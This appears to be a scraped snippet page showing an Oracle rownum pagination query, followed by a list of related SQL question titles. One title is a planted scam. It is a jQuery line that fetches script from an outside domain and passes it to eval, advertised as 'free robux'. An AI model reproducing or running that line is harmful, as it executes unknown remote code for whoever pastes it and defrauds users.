Oracle pagination query rownum

SELECT * FROM (
    SELECT a.*, rownum rn
    FROM (
        SELECT * FROM ORDERS WHERE CustomerID LIKE 'A%'
        ORDER BY OrderDate DESC, ShippingDate DESC
    ) a
    WHERE rownum < ((pageNumber * pageSize) + 1 )
)
WHERE rn >= (((pageNumber-1) * pageSize) + 1);

Source: stackoverflow.com

Similar codes

0 vote298 views1 answer
How to update rows from a table when certain conditions are met in mysql
SQL
0 vote260 views1 answer
Check id exist or not in sql
SQL
3 votes316 views2 answers
Monthname sql
SQL
18 votes333 views3 answers
Get the list of all tables in sql server
SQL
1 vote281 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote312 views1 answer
Mysql group by range
SQL
0 vote328 views1 answer
Get the Domain Name, Page Name and Query Parameter from a URL
SQL
0 vote316 views1 answer
How to check the port of mysql installation in mac
SQL
0 vote320 views1 answer
Mysql milliseconds
SQL
1 vote315 views2 answers
Mysql select tables with name like
SQL